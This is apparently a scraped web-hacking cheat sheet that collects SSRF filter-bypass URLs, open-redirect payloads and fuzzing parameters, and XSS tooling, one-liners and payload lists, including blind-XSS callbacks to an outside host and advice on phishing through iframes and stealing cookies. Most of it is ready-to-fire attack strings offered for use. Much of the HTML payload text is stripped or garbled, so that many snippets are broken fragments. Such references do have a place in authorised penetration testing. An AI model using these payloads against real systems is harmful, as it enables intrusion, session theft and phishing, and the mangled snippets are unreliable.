https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/CVE%20Ffmpeg%20HLS # SSRF in pdf rendering ``` SSRF Bypasses ```bash http://%32%31%36%2e%35%38%2e%32%31%34%2e%32%32%37 http://%73%68%6d%69%6c%6f%6e%2e%63%6f%6d http://////////////site.com/ http://0000::1:80/ http://000330.0000072.0000326.00000343 http://000NaN.000NaN http://0177.00.00.01 http://017700000001 http://0330.072.0326.0343 http://033016553343 http://0NaN http://0NaN.0NaN http://0x0NaN0NaN http://0x7f000001/ http://0xd8.0x3a.0xd6.0xe3 http://0xd8.0x3a.0xd6e3 http://0xd8.0x3ad6e3 http://0xd83ad6e3 http://0xNaN.0xaN0NaN http://0xNaN.0xNa0x0NaN http://0xNaN.0xNaN http://127.0.0.1/status/ http://127.1/ http://2130706433/ http://216.0x3a.00000000326.0xe3 http://3627734755 http://[::]:80/ http://localhost:8000/status/ http://NaN http://safesite.com#.site.com http://safesite.com&site.com http://safesite.com?.site.com http://safesite.com\.site.com/domain http://shmilon.0xNaN.undefined.undefined http://site.com/account/edit.aspx http://site.com/domain.php http://site@com/account/edit.aspx http://whitelisted@127.0.0.1 https://192.10.10.2#.192.10.10.3/ https://192.10.10.2?.192.10.10.3/ https://192.10.10.2\.192.10.10.3/ https://192.10.10.3/ https://ⓈⒾⓉⒺ.ⓒⓞⓜ = site.com # Tool # https://h.43z.one/ipconverter/ ``` ## PDF SSRF {% embed url="" %} ## Mindmap ![](/files/-MOOHOgvXKkqdg5bMyWY) # Open redirects ## Tools ```bash #https://github.com/devanshbatham/OpenRedireX python3 openredirex.py -u "https://website.com/?url=FUZZ" -p payloads.txt --keyword FUZZ #https://github.com/0xNanda/Oralyzer python3 oralyzer.py -u https://website.com/redir?url= # Payload generator # https://gist.github.com/zPrototype/b211ae91e2b082420c350c28b6674170 ``` ## Payloads ```bash # Check for =aHR0 =http # https://github.com/m0chan/BugBounty/blob/master/OpenRedirectFuzzing.txt https://web.com/r/?url=https://phising-malicious.com https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect # Check redirects https://url.com/redirect/?url=http://twitter.com/ http://www.theirsite.com@yoursite.com/ http://www.yoursite.com/http://www.theirsite.com/ http://www.yoursite.com/folder/www.folder.com /http://twitter.com/ /\\twitter.com /\/twitter.com ?c=.twitter.com/ /?redir=google。com //google%E3%80%82com //google%00.com /%09/google.com /%5cgoogle.com //www.google.com/%2f%2e%2e //www.google.com/%2e%2e //google.com/ //google.com/%2f.. //\google.com /\victim.com:80%40google.com https://target.com///google.com// # Remember url enconde the payloads! # Search in Burp: “=http” or “=aHR0”（base64 encode http） # Fuzzing openredirect # Intruder url open redirect /{payload} ?next={payload} ?url={payload} ?target={payload} ?rurl={payload} ?dest={payload} ?destination={payload} ?redir={payload} ?redirect_uri={payload} ?redirect_url={payload} ?redirect={payload} /redirect/{payload} /cgi-bin/redirect.cgi?{payload} /out/{payload} /out?{payload} ?view={payload} /login?to={payload} ?image_url={payload} ?go={payload} ?return={payload} ?returnTo={payload} ?return_to={payload} ?checkout_url={payload} ?continue={payload} ?return_path={payload} # Valid URLs: http(s)://evil.com http(s):\\evil.com //evil.com ///evil.com /\evil.com \/evil.com /\/evil.com \\evil.com \/\evil.com / /evil.com \ \evil.com # Oneliner with gf echo "domain" | waybackurls | httpx -silent -timeout 2 -threads 100 | gf redirect | anew ``` # XSS > **Skill Level**: Beginner to Intermediate\ > **Prerequisites**: JavaScript, HTML basics {% embed url="" %} {% hint style="info" %} Try XSS in every input field, host headers, url redirections, URI paramenters and file upload namefiles. Actions: phising through iframe, cookie stealing, always try convert self to reflected. {% endhint %} ## Tools ```bash # https://github.com/hahwul/dalfox dalfox url http://testphp.vulnweb.com/listproducts.php # Expected output: # [POC][G][WEAK] http://testphp.vulnweb.com/listproducts.php?cat= # [POC][V][GET] http://testphp.vulnweb.com/listproducts.php?cat="> # https://github.com/KathanP19/Gxss # Replace every param value with word FUZZ echo "https://target.com/some.php?first=hello&last=world" | Gxss -c 100 # Expected output: # https://target.com/some.php?first=FUZZ&last=world # https://target.com/some.php?first=hello&last=FUZZ # XSpear gem install XSpear XSpear -u 'https://web.com' -a XSpear -u 'https://www.web.com/?q=123' --cookie='role=admin' -v 1 -a -b https://six2dez.xss.ht -t 20 XSpear -u "http://testphp.vulnweb.com/search.php?test=query" -p test -v 1 # Xira # https://github.com/xadhrit/xira python3 xira.py -u url # Hosting XSS # surge.sh npm install --global surge mkdir mypayload cd mypayload echo "alert(1)" > payload.js surge # It returns the url # XSS vectors https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45 # Payload list https://github.com/m0chan/BugBounty/blob/master/xss-payload-list.txt https://github.com/terjanq/Tiny-XSS-Payloads # XSS to RCE # https://github.com/shelld3v/JSshell # Polyglots # https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot # XSS browser # https://github.com/RenwaX23/XSSTRON # Blind # https://github.com/hipotermia/vaya-ciego-nen ``` ### Oneliners ```bash # WaybackUrls echo "domain.com" | waybackurls | httpx -silent | Gxss -c 100 -p Xss | sort -u | dalfox pipe -b https://six2dez.xss.ht # Param discovery based paramspider -d target.com > /filepath/param.txt && dalfox -b https://six2dez.xss.ht file /filepath/param.txt # Blind XSS cat target_list.txt | waybackurls -no-subs | grep "https://" | grep -v "png\|jpg\|css\|js\|gif\|txt" | grep "=" | qsreplace -a | dalfox pipe -b https://six2dez.xss.ht # Reflected XSS echo "domain.com" | waybackurls | gf xss | kxss ``` ## XSS recopilation ### Basics ```markup # Locators '';!--"=&{()} # 101 %3Cscript%3Ealert(0)%3C%2Fscript%3E %253Cscript%253Ealert(0)%253C%252Fscript%253E ">

%5B'-alert(document.cookie)-'%5D ``` ### By tag ```markup # Tag filter bypass <%00script>alert(1) # HTML tags "> # Other tags

testtest”onload=this.style.width=‘100px’> #x’; # CharCode # Input already in script tag @domain.com">user+'-alert`1`-'@domain.com # Scriptless onerror=alert;throw 1 # No parentheses and no semicolons # No parentheses and no spaces: # Angle brackets HTML encoded (in an attribute) “onmouseover=“alert(1) ‘-alert(1)-’ # If quote is escaped ‘}alert(1);{‘ ‘}alert(1)%0A{‘ \’}alert(1);{// # Embedded tab, newline, carriage return to break up XSS # RegEx bypass # Other : base64 value which is alert(‘XSS’) ```` ### Encoded ```markup # Unicode # Hex # HTML \’-alert(1)// # URL XSS # Double URL Encode %253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E %2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E # Unicode + HTML # HTML + URL ``` ### Polyglots ````markup jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//\x3csVg/\x3e -->'"/>
oNcliCk=alert(1)%20)//%0D%0A%0d%0a//%5Cx3csVg/
%5Cx3e javascript:/*--> javascript:alert();//\";alert();//";alert();//';alert();//`;alert();// alert();//*/alert();//-->" >">/'"> ``` %3C!%27/!%22/!\%27/\%22/ — !%3E%3C/Title/%3C/script/%3E%3CInput%20Type=Text%20Style=position:fixed;top:0;left:0;font-size:999px%20*/;%20Onmouseenter=confirm1%20//%3E# # jaVasCript:/-//*\/'/"/*/(/ */oNcliCk=alert() )//%0D%0A%0D%0A//\x3csVg/\x3e ">> ” >prompt(1)@gmail.com’ →” > ">alert(1)”>/'">"> " onclick=alert(1)//